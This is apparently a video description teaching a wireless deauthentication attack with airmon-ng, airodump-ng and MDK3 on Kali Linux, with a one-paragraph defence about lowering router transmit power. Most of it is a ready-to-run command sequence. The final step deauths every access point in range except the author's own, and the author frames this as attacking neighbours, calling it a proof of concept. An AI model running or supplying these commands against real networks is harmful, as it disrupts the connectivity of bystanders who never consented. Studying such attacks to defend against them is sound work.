Wireless Access Point Deauth Attack With MDK3!

Wireless Access Point Deauth Attack - AKA Wireless Denial of Service Via MDK3 Purpose of video: To help educate and give insight of how this attack works and how to prevent the attack. Command functions: 1. Airmon-ng - This command is part of the aircrack-ng suite and is used to place your wireless in monitor mode to perform various attacks. 2. Airodump-ng - Basically acts as a wireless auditing tool that will scan radio channels of all access points in the area. Gives great info on ssid's channels being used and clients MAC's connected to access points in the area. 3. MDK3 - MDK3 stands for Murder Death Kill The 3rd and it is an evil SOB. You can run various attacks on routers. Use the --fullhelp switch ex. MDK3 --fullhelp and play around. Doing various pentesting on my own equipment I have been able to disrupt my router and by disrupt I mean bring it to the knees requiring a reboot. Be careful with this command like I said it's an evil bitch. Stopping the attack: Just know that in order to stop this attack as a home user you must consider turning down the TX Beacon power of your wireless router. If the attacker doesn't get the beacon then he can't attack. Limit the signal to not going outside your home. By doing so you may need to find a way to place your wireless router in the center of your home and lowering transmit power of your antennas on your wireless router so that way the signal will only reach the walls of your home thus keeping the beacons limited to inside your home. OS being used to run this attack : Kali Linux Shall we get start? Yep lets deuth some neighbors! Warning running this attack for days will likely cause a trouble call to the ISP or cause someone to go out and buy a new wireless router. DONT BE MEAN! This is all proof of concept. LET GO! I am recording the commands below for your reference. 1. airmon-ng check kill - Kills processes that may cause the airmon-ng command to not execute correctly. 2. airmon-ng start wlan0 - Takes your wireless network adapter out of station mode and into Monitor Mode to monitor wireless channel waves. 3. airodump-ng wlan0mon -c 1,2,3,4,5,6,7,8,9,10,11 -w pcap (Scans airwaves for AP's on channels 1-11 and writes out a pcap file to be reviewed in wireshark). The -w switch is optional I just like to use it for other stuff. 4. gedit wl (This will open notepad cut and paste in the MAC address of you own access point and save) 5. mdk3 wlan0mon d -w wl (This runs the attack in reference to data being gathered by airodump-ng on all channels *channel hoping mode*)You can also see that I used the -w wl in the mdk3 command in order to not run the attack on my own access point.
